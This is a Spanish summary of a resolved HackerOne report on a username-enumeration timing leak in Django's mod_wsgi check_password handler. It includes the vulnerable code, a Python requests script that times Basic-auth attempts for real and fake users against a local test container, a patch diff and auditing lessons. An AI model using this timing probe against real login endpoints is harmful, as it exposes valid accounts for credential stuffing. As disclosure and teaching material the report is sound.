Reports
BAJA[AUTENTICACIÓN]#3424977

Django delataba qué usuarios existen: ataque de tiempos en la autenticación de Apache con mod_wsgi

check_password en el manejador mod_wsgi de Django contestaba al instante si el usuario no existía y tardaba cientos de milisegundos si existía. Midiendo esa diferencia, un atacante podía descubrir cuentas válidas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Django permite que Apache autentique a los usuarios contra su propia base de datos mediante mod_wsgi. La función que hace ese trabajo, check_password en django/contrib/auth/handlers/modwsgi.py, tenía una fuga de tiempos: solo comprobaba la contraseña cuando la cuenta existía y estaba activa.

El problema está en los dos return None anticipados. Si el nombre de usuario no aparece en la base de datos, o si la cuenta está inactiva, la función sale sin llegar a user.check_password(password), que es el paso lento:

def check_password(environ, username, password):
    """
    Authenticate against Django's auth database.

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()
    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return None
        if not user.is_active:
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()

La respuesta que recibe el cliente no cambia de forma visible, pero el tiempo que tarda en llegar revela si el usuario existe. En las pruebas del investigador la diferencia fue de unos 2-3 ms frente a unos 236-380 ms.

Pasos de reproducción

El investigador montó el entorno siguiendo la documentación oficial de Django sobre autenticación en Apache.

  1. Levantar el contenedor de pruebas que aportó el investigador, expuesto en el puerto 8000:
docker build -t django-apache-auth .
docker run --rm -it -p 8000:80 django-apache-auth
  1. Ejecutar este script, que manda autenticación HTTP Basic a /secret con una contraseña incorrecta y alterna un usuario real (admin) con uno inexistente. Las dos primeras peticiones solo sirven de calentamiento:
import requests
from requests.auth import HTTPBasicAuth

url = "http://localhost:8000/secret"
username = "admin"
password = "notthepassword"

#warmup
response = requests.get(url, auth=HTTPBasicAuth(username, password))
response = requests.get(url, auth=HTTPBasicAuth(username, password))

# slow response
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# fast response
username = "nonexistant"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)

# slow response
username = "admin"
response = requests.get(url, auth=HTTPBasicAuth(username, password))
print(response.elapsed.microseconds)
  1. Comparar los tiempos, en microsegundos. La primera y la última línea corresponden a admin; las dos centrales, al usuario inexistente. La salida es parecida a esta:
379669
3090
2347
236157

Impacto

Quien pueda enviar credenciales a un recurso protegido de esta forma puede averiguar qué nombres de usuario existen. El reporte lo plantea como un paso previo a otros ataques: con una lista de cuentas válidas, el relleno de credenciales o la fuerza bruta se concentran solo en objetivos que existen.

Remediación

El investigador propuso aplicar la contramedida que, según indica, ya usa el otro backend de autenticación: llamar a UserModel().set_password(password) antes de devolver None.

 def check_password(environ, username, password):
     """
     Authenticate against Django's auth database.

     mod_wsgi docs specify None, True, False as return value depending
     on whether the user exists and authenticates.
     """
     # db connection state is managed similarly to the wsgi handler
     # as mod_wsgi may call these functions outside of a request/response cycle
     db.reset_queries()
     try:
         try:
             user = UserModel._default_manager.get_by_natural_key(username)
         except UserModel.DoesNotExist:
+            UserModel().set_password(password)
             return None
         if not user.is_active:
+            UserModel().set_password(password)
             return None
         return user.check_password(password)
     finally:
         db.close_old_connections()

Con ese parche, la misma prueba dio tiempos prácticamente iguales en las cuatro peticiones:

339185
340059
342360
342630

El reporte consta como resuelto en HackerOne.

Qué aprender de este caso

  • Al auditar un login, localiza cada return anterior a la comprobación del hash: usuario inexistente, cuenta desactivada, cuenta bloqueada. Cada salida que se salte ese paso es una posible fuga de tiempos.
  • No revises solo el formulario de acceso principal. Aquí el fallo estaba en una vía alternativa, un manejador para Apache, que no tenía la protección de otro backend. Busca integraciones con servidores web, autenticación HTTP Basic y puntos de entrada secundarios.
  • Para detectarlo basta con medir: repite peticiones con una contraseña incorrecta alternando un usuario conocido y uno inventado, descartando las primeras como calentamiento. Una diferencia de dos órdenes de magnitud, como la de este caso, se ve a simple vista.
  • Al programar, gasta en los caminos de error el mismo tiempo que en el válido: calcula un hash con el mismo algoritmo aunque el resultado se descarte, como hace UserModel().set_password(password) en el parche propuesto.